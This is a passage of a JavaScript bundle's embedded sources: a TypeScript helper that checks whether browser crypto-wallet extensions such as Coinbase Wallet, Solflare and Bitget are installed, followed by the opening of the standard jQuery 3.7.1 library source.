(): boolean => {\r\n return typeof window !== 'undefined' \r\n && (typeof (window as any).bitkeep !== 'undefined' || typeof (window as any).bitget !== 'undefined');\r\n};\r\n\r\n/**\r\n * Check if Coinbase Wallet is installed\r\n */\r\nexport const isCoinbaseWalletInstalled = (): boolean => {\r\n if (typeof window === 'undefined') {\r\n return false;\r\n }\r\n\r\n const ethereum = (window as any).ethereum;\r\n \r\n if (!ethereum) {\r\n return false;\r\n }\r\n\r\n // Check if it's the primary provider (when only Coinbase Wallet is installed)\r\n if (ethereum.isCoinbaseWallet === true) {\r\n return true;\r\n }\r\n\r\n // Check in providers array (when multiple wallets are installed)\r\n if (Array.isArray(ethereum.providers)) {\r\n return ethereum.providers.some((provider: any) => provider.isCoinbaseWallet === true);\r\n }\r\n\r\n // Alternative detection: check for Coinbase Wallet extension\r\n // Some versions expose it differently\r\n if ((window as any).coinbaseWalletExtension) {\r\n return true;\r\n }\r\n\r\n return false;\r\n};\r\n\r\n/**\r\n * Check if Solflare is installed\r\n */\r\nexport const isSolflareInstalled = (): boolean => {\r\n if (typeof window === 'undefined') return false;\r\n\r\n return (\r\n typeof (window as any).solflare !== 'undefined' &&\r\n (window as any).solflare.isSolflare === true\r\n );\r\n};\r\n\r\n\r\n/**\r\n * Check if a specific wallet is installed\r\n */\r\nexport const checkWalletInstalled = (wallet: string): WalletDetectionResult => {\r\n let isInstalled = false;\r\n let walletName = wallet;\r\n\r\n switch (wallet) {\r\n case 'MetaMask':\r\n isInstalled = isMetaMaskInstalled();\r\n walletName = 'MetaMask';\r\n break;\r\n case 'Phantom':\r\n isInstalled = isPhantomInstalled();\r\n walletName = 'Phantom';\r\n break;\r\n case 'Rabby':\r\n isInstalled = isRabbyInstalled();\r\n walletName = 'Rabby';\r\n break;\r\n case 'TronLink':\r\n isInstalled = isTronLinkInstalled();\r\n walletName = 'TronLink';\r\n break;\r\n case 'Bitget':\r\n isInstalled = isBitgetInstalled();\r\n walletName = 'Bitget';\r\n break;\r\n case 'Coinbase':\r\n isInstalled = isCoinbaseWalletInstalled();\r\n walletName = 'Coinbase Wallet';\r\n break;\r\n case 'Solflare':\r\n isInstalled = isSolflareInstalled();\r\n walletName = 'Solflare';\r\n break;\r\n default:\r\n isInstalled = false;\r\n }\r\n\r\n return { isInstalled, walletName };\r\n};\r\n\r\n","/*!\n * jQuery JavaScript Library v3.7.1\n * https://jquery.com/\n *\n * Copyright OpenJS Foundation and other contributors\n * Released under the MIT license\n * https://jquery.org/license\n *\n * Date: 2023-08-28T13:37Z\n */\n( function( global, factory ) {\n\n\t\"use strict\";\n\n\tif ( typeof module === \"object\" && typeof module.exports === \"object\" ) {\n\n\t\t// For CommonJS and CommonJS-like environments where a proper `window`\n\t\t// is present, execute the factory and get jQuery.\n\t\t// For environments that do not have a `window` with a `document`\n\t\t// (such as Node.js), expose a factory as module.exports.\n\t\t// This accentuates the need for the creation of a real `window`.\n\t\t// e.g. var jQuery = require(\"jquery\")(window);\n\t\t// See ticket trac-14549 for more info.\n\t\tmodule.exports = global.document ?\n\t\t\tfactory( global, true ) :\n\t\t\tfunction( w ) {\n\t\t\t\tif ( !w.document ) {\n\t\t\t\t\tthrow new Error( \"jQuery requires a window with a document\" );\n\t\t\t\t}\n\t\t\t\treturn factory( w );\n\t\t\t};\n\t} else {\n\t\tfactory( global );\n\t}\n\n// Pass this if window is not defined yet\n} )( typeof window !== \"undefined\" ? window : this, function( window, noGlobal ) {\n\n// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1\n// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode\n// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common\n// enough that all such attempts are guarded in a try block.\n\"use strict\";\n\nvar arr = [];\n\nvar getProto = Object.getPrototypeOf;\n\nvar slice = arr.slice;\n\nvar flat = arr.flat ? function( array ) {\n\treturn arr.flat.call( array );\n} : function( array ) {\n\treturn arr.concat.apply( [], array );\n};\n\n\nvar push = arr.push;\n\nvar indexOf = arr.indexOf;\n\nvar class2type = {};\n\nvar toString = class2type.toString;\n\nvar hasOwn = class2type.hasOwnProperty;\n\nvar fnToString = hasOwn.toString;\n\nvar ObjectFunctionString = fnToString.call( Object );\n\nvar support = {};\n\nvar isFunction = function isFunction( obj ) {\n\n\t\t// Support: Chrome <=57, Firefox <=52\n\t\t// In some browsers, typeof returns \"function\" for HTML <object> elements\n\t\t// (i.e., `typeof document.createElement( \"object\" ) === \"function\"`).\n\t\t// We don't want to classify *any* DOM node as a function.\n\t\t// Support: QtWeb <=3.8.5, WebKit <=534.34, wkhtmltopdf tool <=0.12.5\n\t\t// Plus for old WebKit, typeof returns \"function\" for HTML collections\n\t\t// (e.g., `typeof document.getElementsByTagName(\"div\") === \"function\"`). (gh-4756)\n\t\treturn typeof obj === \"function\" && typeof obj.nodeType !== \"number\" &&\n\t\t\ttypeof obj.item !== \"function\";\n\t};\n\n\nvar isWindow = function isWindow( obj ) {\n\t\treturn obj != null && obj === obj.window;\n\t};\n\n\nvar document = window.document;\n\n\n\n\tvar preservedScriptAttributes = {\n\t\ttype: true,\n\t\tsrc: true,\n\t\tnonce: true,\n\t\tnoModule: true\n\t};\n\n\tfunction DOMEval( code, node, doc ) {\n\t\tdoc = doc || document;\n\n\t\tvar i, val,\n\t\t\tscript = doc.createElement( \"script\" );\n\n\t\tscript.text = code;\n\t\tif ( node ) {\n\t\t\tfor ( i in preservedScriptAttributes ) {\n\n\t\t\t\t// Support: Firefox 64+, Edge 18+\n\t\t\t\t// Some browsers don't support the \"nonce\" property on scripts.\n\t\t\t\t// On the other hand, just using `getAttribute` is not enough as\n\t\t\t\t// the `nonce` attribute is reset to an empty string whenever it\n\t\t\t\t// becomes browsing-context connected.\n\t\t\t\t// See https://github.com/whatwg/html/issues/2369\n\t\t\t\t// See https://html.spec.whatwg.org/#nonce-attributes\n\t\t\t\t// The `node.getAttribute` check was added for the sake of\n\t\t\t\t// `jQuery.globalEval` so that it can fake a nonce-containing node\n\t\t\t\t// via an object.\n\t\t\t\tval = node[ i ] || node.getAttribute && node.getAttribute( i );\n\t\t\t\tif ( val ) {\n\t\t\t\t\tscript.setAttribute( i, val );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdoc.head.appendChild( script ).parentNode.removeChild( script );\n\t}\n\n\nfunction toType( obj ) {\n\tif ( obj == null ) {\n\t\treturn obj + \"\";\n\t}\n\n\t// Support: Android <=2.3 only (functionish RegExp)\n\treturn typeof obj === \"object\" || typeof obj === \"function\" ?\n\t\tclass2type[ toString.call( obj ) ] || \"object\" :\n\t\ttypeof obj;\n}\n/* global Symbol */\n// Defining this global in .eslintrc.json would create a danger of using the global\n// unguarded in another place, it seems safer to define global only for this module\n\n\n\nvar version = \"3.7.1\",\n\n\trhtmlSuffix = /HTML$/i,\n\n\t// Define a local copy of jQuery\n\tjQuery = function( selector, context ) {\n\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\t// Need init if jQuery is called (just allow error to be thrown if not included)\n\t\treturn new jQuery.fn.init( selector, context );\n\t};\n\njQuery.fn = jQuery.prototype = {\n\n\t// The current version of jQuery being used\n\tjquery: version,\n\n\tconstructor: jQuery,\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\ttoArray: function() {\n\t\treturn slice.call( this );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\n\t\t// Return all the elements in a clean array\n\t\tif ( num == null ) {\n\t\t\treturn slice.call( this );\n\t\t}\n\n\t\t// Return just the one element from the set\n\t\treturn num < 0 ? this[ num + this.length ] : this[ num ];\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems ) {\n\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = jQuery.merge( this.constructor(), elems );\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\teach: function( callback ) {\n\t\treturn jQuery.each( this, callback );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map( this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t} ) );\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ) );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\teven: function() {\n\t\treturn this.pushStack( jQuery.grep( this, function( _elem, i ) {\n\t\t\treturn ( i + 1 ) % 2;\n\t\t} ) );\n\t},\n\n\todd: function() {\n\t\treturn this.pushStack( jQuery.grep( this, function( _elem, i ) {\n\t\t\treturn i % 2;\n\t\t} ) );\n\t},\n\n\teq: function( i ) {\n\t\tvar len = this.length,\n\t\t\tj = +i + ( i < 0 ? len : 0 );\n\t\treturn this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );\n\t},\n\n\tend: function() {\n\t\treturn this.prevObject || this.constructor();\n\t},\n\n\t// For internal use only.\n\t// Behaves like an Array's method, not like a jQuery method.\n\tpush: push,\n\tsort: arr.sort,\n\tsplice: arr.splice\n};\n\njQuery.extend = jQuery.fn.extend = function() {\n\tvar options, name, src, copy, copyIsArray, clone,\n\t\ttarget = arguments[ 0 ] || {},\n\t\ti = 1,\n\t\tlength = arguments.length,\n\t\tdeep = false;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\n\t\t// Skip the boolean and the target\n\t\ttarget = arguments[ i ] || {};\n\t\ti++;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && !isFunction( target ) ) {\n\t\ttarget = {};\n\t}\n\n\t// Extend jQuery itself if only one argument is passed\n\tif ( i === length ) {\n\t\ttarget = this;\n\t\ti--;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\n\t\t// Only deal with non-null/undefined values\n\t\tif ( ( options = arguments[ i ] ) != null ) {\n\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent Object.prototype pollution\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( name === \"__proto__\" || target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging plain objects or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject( copy ) ||\n\t\t\t\t\t( copyIsArray = Array.isArray( copy ) ) ) ) {\n\t\t\t\t\tsrc = target[ name ];\n\n\t\t\t\t\t// Ensure proper type for the source value\n\t\t\t\t\tif ( copyIsArray && !Array.isArray( src ) ) {\n\t\t\t\t\t\tclone = [];\n\t\t\t\t\t} else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) {\n\t\t\t\t\t\tclone = {};\n\t\t\t\t\t} else {\n\t\t\t\t\t\tclone = src;\n\t\t\t\t\t}\n\t\t\t\t\tcopyIsArray = false;\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend( {\n\n\t// Unique for each copy of jQuery on the page\n\texpando: \"jQuery\" + ( version + Math.random() ).replace( /\\D/g, \"\" ),\n\n\t// Assume jQuery is ready without the ready module\n\tisReady: true,\n\n\terror: function( msg ) {\n\t\tthrow new Error( msg );\n\t},\n\n\tnoop: function() {},\n\n\tisPlainObject: function( obj ) {\n\t\tvar proto, Ctor;\n\n\t\t// Detect obvious negatives\n\t\t// Use toString instead of jQuery.type to catch host objects\n\t\tif ( !obj || toString.call( obj ) !== \"[object Object]\" ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tproto = getProto( obj );\n\n\t\t// Objects with no prototype (e.g., `Object.create( null )`) are plain\n\t\tif ( !proto ) {\n\t\t\treturn true;\n\t\t}\n\n\t\t// Objects with prototype are plain iff they were constructed by a global Object function\n\t\tCtor = hasOwn.call( proto, \"constructor\" ) && proto.constructor;\n\t\treturn typeof Ctor === \"function\" && fnToString.call( Ctor ) === ObjectFunctionString;\n\t},\n\n\tisEmptyObject: function( obj ) {\n\t\tvar name;\n\n\t\tfor ( name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\n\t// Evaluates a script in a provided context; falls back to the global one\n\t// if not specified.\n\tglobalEval: function( code, options, doc ) {\n\t\tDOMEval( code, { nonce: options && options.nonce }, doc );\n\t},\n\n\teach: function( obj, callback ) {\n\t\tvar length, i = 0;\n\n\t\tif ( isArrayLike( obj ) ) {\n\t\t\tlength = obj.length;\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor ( i in obj ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn obj;\n\t},\n\n\n\t// Retrieve the text value of an array of DOM nodes\n\ttext: function( elem ) {\n\t\tvar node,\n\t\t\tret = \"\",\n\t\t\ti = 0,\n\t\t\tnodeType = elem.nodeType;\n\n\t\tif ( !nodeType ) {\n\n\t\t\t// If no nodeType, this is expected to be an array\n\t\t\twhile ( ( node = elem[ i++ ] ) ) {\n\n\t\t\t\t// Do not traverse comment nodes\n\t\t\t\tret += jQuery.text( node );\n\t\t\t}\n\t\t}\n\t\tif ( nodeType === 1 || nodeType === 11 ) {\n\t\t\treturn elem.textContent;\n\t\t}\n\t\tif ( nodeType === 9 ) {\n\t\t\treturn elem.documentElement.textContent;\n\t\t}\n\t\tif ( nodeType === 3 || nodeType === 4 ) {\n\t\t\treturn elem.nodeValue;\n\t\t}\n\n\t\t// Do not include comment or processing instruction nodes\n\n\t\treturn ret;\n\t},\n\n\t// results is for internal usage only\n\tmakeArray: function( arr, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( arr != null ) {\n\t\t\tif ( isArrayLike( Object( arr ) ) ) {\n\t\t\t\tjQuery.merge( ret,\n\t\t\t\t\ttypeof arr === \"string\" ?\n\t\t\t\t\t\t[ arr ] : arr\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\tpush.call( ret, arr );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, arr, i ) {\n\t\treturn arr == null ? -1 : indexOf.call( arr, elem, i );\n\t},\n\n\tisXMLDoc: function( elem ) {\n\t\tvar namespace = elem && elem.namespaceURI,\n\t\t\tdocElem = elem && ( elem.ownerDocument || elem ).documentElement;\n\n\t\t// Assume HTML when documentElement doesn't yet exist, such as inside\n\t\t// document fragments.\n\t\treturn !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || \"HTML\" );\n\t},\n\n\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t// push.apply(_, arraylike) throws on ancient WebKit\n\tmerge: function( first, second ) {\n\t\tvar len = +second.length,\n\t\t\tj = 0,\n\t\t\ti = first.length;\n\n\t\tfor ( ; j < len; j++ ) {\n\t\t\tfirst[ i++ ] = second[ j ];\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, invert ) {\n\t\tvar callbackInverse,\n\t\t\tmatches = [],\n\t\t\ti = 0,\n\t\t\tlength = elems.length,\n\t\t\tcallbackExpect = !invert;\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( ; i < length; i++ ) {\n\t\t\tcallbackInverse = !callback( elems[ i ], i );\n\t\t\tif ( callbackInverse !== callbackExpect ) {\n\t\t\t\tmatches.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn matches;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar length, value,\n\t\t\ti = 0,\n\t\t\tret = [];\n\n\t\t// Go through the array, translating each of the items to their new values\n\t\tif ( isArrayLike( elems ) ) {\n\t\t\tlength = elems.length;\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Go through every key on the object,\n\t\t} else {\n\t\t\tfor ( i in elems ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Flatten any nested arrays\n\t\treturn flat( ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\t// jQuery.support is not used in Core but other projects attach their\n\t// properties to it so it needs to exist.\n\tsupport: support\n} );\n\nif ( typeof Symbol === \"function\" ) {\n\tjQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];\n}\n\n// Populate the class2type map\njQuery.each( \"Boolean Number String Function Array Date RegExp Object Error Symbol\".split( \" \" ),\n\tfunction( _i, name ) {\n\t\tclass2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n\t} );\n\nfunction isArrayLike( obj ) {\n\n\t// Support: real iOS 8.2 only (not reproducible in simulator)\n\t// `in` check used to prevent JIT error (gh-2145)\n\t// hasOwn isn't used here due to false negatives\n\t// regarding Nodelist length in IE\n\tvar length = !!obj && \"length\" in obj && obj.length,\n\t\ttype = toType( obj );\n\n\tif ( isFunction( obj ) || isWindow( obj ) ) {\n\t\treturn false;\n\t}\n\n\treturn type === \"array\" || length === 0 ||\n\t\ttypeof length === \"number\" && length > 0 && ( length - 1 ) in obj;\n}\n\n\nfunction nodeName( elem, name ) {\n\n\treturn elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();\n\n}\nvar pop = arr.pop;\n\n\nvar sort = arr.sort;\n\n\nvar splice = arr.splice;\n\n\nvar whitespace = \"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\";\n\n\nvar rtrimCSS = new RegExp(\n\t\"^\" + whitespace + \"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\" + whitespace + \"+$\",\n\t\"g\"\n);\n\n\n\n\n// Note: an element does not contain itself\njQuery.contains = function( a, b ) {\n\tvar bup = b && b.parentNode;\n\n\treturn a === bup || !!( bup && bup.nodeType === 1 && (\n\n\t\t// Support: IE 9 - 11+\n\t\t// IE doesn't have `contains` on SVG.\n\t\ta.contains ?\n\t\t\ta.contains( bup ) :\n\t\t\ta.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16\n\t) );\n};\n\n\n\n\n// CSS string/identifier serialization\n// https://drafts.csswg.org/cssom/#common-serializing-idioms\nvar rcssescape = /([\\0-\\x1f\\x7f]|^-?\\d)|^-$|[^\\x80-\\uFFFF\\w-]/g;\n\nfunction fcssescape( ch, asCodePoint ) {\n\tif ( asCodePoint ) {\n\n\t\t// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER\n\t\tif ( ch === \"\\0\" ) {\n\t\t\treturn \"\\uFFFD\";\n\t\t}\n\n\t\t// Control characters and (dependent upon position) numbers get escaped as code points\n\t\treturn ch.slice( 0, -1 ) + \"\\\\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + \" \";\n\t}\n\n\t// Other potentially-special ASCII characters get backslash-escaped\n\treturn \"\\\\\" + ch;\n}\n\njQuery.escapeSelector = function( sel ) {\n\treturn ( sel + \"\" ).replace( rcssescape, fcssescape );\n};\n\n\n\n\nvar preferredDoc = document,\n\tpushNative = push;\n\n( function() {\n\nvar i,\n\tExpr,\n\toutermostContext,\n\tsortInput,\n\thasDuplicate,\n\tpush = pushNative,\n\n\t// Local document vars\n\tdocument,\n\tdocumentElement,\n\tdocumentIsHTML,\n\trbuggyQSA,\n\tmatches,\n\n\t// Instance-specific data\n\texpando = jQuery.expando,\n\tdirruns = 0,\n\tdone = 0,\n\tclassCache = createCache(),\n\ttokenCache = createCache(),\n\tcompilerCache = createCache(),\n\tnonnativeSelectorCache = createCache(),\n\tsortOrder = function( a, b ) {\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn 0;\n\t},\n\n\tbooleans = \"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|\" +\n\t\t\"loop|multiple|open|readonly|required|scoped\",\n\n\t// Regular expressions\n\n\t// https://www.w3.org/TR/css-syntax-3/#ident-token-diagram\n\tidentifier = \"(?:\\\\\\\\[\\\\da-fA-F]{1,6}\" + whitespace +\n\t\t\"?|\\\\\\\\[^\\\\r\\\\n\\\\f]|[\\\\w-]|[^\\0-\\\\x7f])+\",\n\n\t// Attribute selectors: https://www.w3.org/TR/selectors/#attribute-selectors\n\tattributes = \"\\\\[\" + whitespace + \"*(\" + identifier + \")(?:\" + whitespace +\n\n\t\t// Operator (capture 2)\n\t\t\"*([*^$|!~]?=)\" + whitespace +\n\n\t\t// \"Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]\"\n\t\t\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\" + identifier + \"))|)\" +\n\t\twhitespace + \"*\\\\]\",\n\n\tpseudos = \":(\" + identifier + \")(?:\\\\((\" +\n\n\t\t// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:\n\t\t// 1. quoted (capture 3; capture 4 or capture 5)\n\t\t\"('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|\" +\n\n\t\t// 2. simple (capture 6)\n\t\t\"((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\" + attributes + \")*)|\" +\n\n\t\t// 3. anything else (capture 2)\n\t\t\".*\" +\n\t\t\")\\\\)|)\",\n\n\t// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter\n\trwhitespace = new RegExp( whitespace + \"+\", \"g\" ),\n\n\trcomma = new RegExp( \"^\" + whitespace + \"*,\" + whitespace + \"*\" ),\n\trleadingCombinator = new RegExp( \"^\" + whitespace + \"*([>+~]|\" + whitespace + \")\" +\n\t\twhitespace + \"*\" ),\n\trdescend = new RegExp( whitespace + \"|>\" ),\n\n\trpseudo = new RegExp( pseudos ),\n\tridentifier = new RegExp( \"^\" + identifier + \"$\" ),\n\n\tmatchExpr = {\n\t\tID: new RegExp( \"^#(\" + identifier + \")\" ),\n\t\tCLASS: new RegExp( \"^\\\\.(\" + identifier + \")\" ),\n\t\tTAG: new RegExp( \"^(\" + identifier + \"|[*])\" ),\n\t\tATTR: new RegExp( \"^\" + attributes ),\n\t\tPSEUDO: new RegExp( \"^\" + pseudos ),\n\t\tCHILD: new RegExp(\n\t\t\t\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\" +\n\t\t\t\twhitespace + \"*(even|odd|(([+-]|)(\\\\d*)n|)\" + whitespace + \"*(?:([+-]|)\" +\n\t\t\t\twhitespace + \"*(\\\\d+)|))\" + whitespace + \"*\\\\)|)\", \"i\" ),\n\t\tbool: new RegExp( \"^(?:\" + booleans + \")$\", \"i\" ),\n\n\t\t// For use in libraries implementing .is()\n\t\t// We use this for POS matching in `select`\n\t\tneedsContext: new RegExp( \"^\" + whitespace +\n\t\t\t\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\" + whitespace +\n\t\t\t\"*((?:-\\\\d)?\\\\d*)\" + whitespace + \"*\\\\)|)(?=[^-]|$)\", \"i\" )\n\t},\n\n\trinputs = /^(?:input|select|textarea|button)$/i,\n\trheader = /^h\\d$/i,\n\n\t// Easily-parseable/retrievable ID or TAG or CLASS selectors\n\trquickExpr = /^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,\n\n\trsibling = /[+~]/,\n\n\t// CSS escapes\n\t// https://www.w3.org/TR/CSS21/syndata.html#escaped-characters\n\trunescape = new RegExp( \"\\\\\\\\[\\\\da-fA-F]{1,6}\" + whitespace +\n\t\t\"?|\\\\\\\\([^\\\\r\\\\n\\\\f])\", \"g\" ),\n\tfunescape = function( escape, nonHex ) {\n\t\tvar high = \"0x\" + escape.slice( 1 ) - 0x10000;\n\n\t\tif ( nonHex ) {\n\n\t\t\t// Strip the backslash prefix from a non-hex escape sequence\n\t\t\treturn nonHex;\n\t\t}\n\n\t\t// Replace a hexadecimal escape sequence with the encoded Unicode code point\n\t\t// Support: IE <=11+\n\t\t// For values outside the Basic Multilingual Plane (BMP), manually construct a\n\t\t// surrogate pair\n\t\treturn high < 0 ?\n\t\t\tString.fromCharCode( high + 0x10000 ) :\n\t\t\tString.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );\n\t},\n\n\t// Used for iframes; see `setDocument`.\n\t// Support: IE 9 - 11+, Edge 12 - 18+\n\t// Removing the function wrapper causes a \"Permission Denied\"\n\t// error in IE/Edge.\n\tunloadHandler = function() {\n\t\tsetDocument();\n\t},\n\n\tinDisabledFieldset = addCombinator(\n\t\tfunction( elem ) {\n\t\t\treturn elem.disabled === true && nodeName( elem, \"fieldset\" );\n\t\t},\n\t\t{ dir: \"parentNode\", next: \"legend\" }\n\t);\n\n// Support: IE <=9 only\n// Accessing document.activeElement can throw unexpectedly\n// https://bugs.jquery.com/ticket/13393\nfunction safeActiveElement() {\n\ttry {\n\t\treturn document.activeElement;\n\t} catch ( err ) { }\n}\n\n// Optimize for push.apply( _, NodeList )\ntry {\n\tpush.apply(\n\t\t( arr = slice.call( preferredDoc.childNodes ) ),\n\t\tpreferredDoc.childNodes\n\t);\n\n\t// Support: Android <=4.0\n\t// Detect silently failing push.apply\n\t// eslint-disable-next-line no-unused-expressions\n\tarr[ preferredDoc.childNodes.length ].nodeType;\n} catch ( e ) {\n\tpush = {\n\t\tapply: function( target, els ) {\n\t\t\tpushNative.apply( target, slice.call( els ) );\n\t\t},\n\t\tcall: function( target ) {\n\t\t\tpushNative.apply( target, slice.call( arguments, 1 ) );\n\t\t}\n\t};\n}\n\nfunction find( selector, context, results, seed ) {\n\tvar m, i, elem, nid, match, groups, newSelector,\n\t\tnewContext = context && context.ownerDocument,\n\n\t\t// nodeType defaults to 9, since context defaults to document\n\t\tnodeType = context ? context.nodeType : 9;\n\n\tresults = results || [];\n\n\t// Return early from calls with invalid selector or context\n\tif ( typeof selector !== \"string\" || !selector ||\n\t\tnodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {\n\n\t\treturn results;\n\t}\n\n\t// Try to shortcut find operations (as opposed to filters) in HTML documents\n\tif ( !seed ) {\n\t\tsetDocument( context );\n\t\tcontext = context || document;\n\n\t\tif ( documentIsHTML ) {\n\n\t\t\t// If the selector is sufficiently simple, try using a \"get*By*\" DOM method\n\t\t\t// (excepting DocumentFragment context, where the methods don't exist)\n\t\t\tif ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) {\n\n\t\t\t\t// ID selector\n\t\t\t\tif ( ( m = match[ 1 ] ) ) {\n\n\t\t\t\t\t// Document context\n\t\t\t\t\tif ( nodeType === 9 ) {\n\t\t\t\t\t\tif ( ( elem = context.getElementById( m ) ) ) {\n\n\t\t\t\t\t\t\t// Support: IE 9 only\n\t\t\t\t\t\t\t// getElementById can match elements by name instead of ID\n\t\t\t\t\t\t\tif ( elem.id === m ) {\n\t\t\t\t\t\t\t\tpush.call( results, elem );\n\t\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t// Element context\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\t// Support: IE 9 only\n\t\t\t\t\t\t// getElementById can match elements by name instead of ID\n\t\t\t\t\t\tif ( newContext && ( elem = newContext.getElementById( m ) ) &&\n\t\t\t\t\t\t\tfind.contains( context, elem ) &&\n\t\t\t\t\t\t\telem.id === m ) {\n\n\t\t\t\t\t\t\tpush.call( results, elem );\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t// Type selector\n\t\t\t\t} else if ( match[ 2 ] ) {\n\t\t\t\t\tpush.apply( results, context.getElementsByTagName( selector ) );\n\t\t\t\t\treturn results;\n\n\t\t\t\t// Class selector\n\t\t\t\t} else if ( ( m = match[ 3 ] ) && context.getElementsByClassName ) {\n\t\t\t\t\tpush.apply( results, context.getElementsByClassName( m ) );\n\t\t\t\t\treturn results;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Take advantage of querySelectorAll\n\t\t\tif ( !nonnativeSelectorCache[ selector + \" \" ] &&\n\t\t\t\t( !rbuggyQSA || !rbuggyQSA.test( selector ) ) ) {\n\n\t\t\t\tnewSelector = selector;\n\t\t\t\tnewContext = context;\n\n\t\t\t\t// qSA considers elements outside a scoping root when evaluating child or\n\t\t\t\t// descendant combinators, which is not what we want.\n\t\t\t\t// In such cases, we work around the behavior by prefixing every selector in the\n\t\t\t\t// list with an ID selector referencing the scope context.\n\t\t\t\t// The technique has to be used as well when a leading combinator is used\n\t\t\t\t// as such selectors are not recognized by 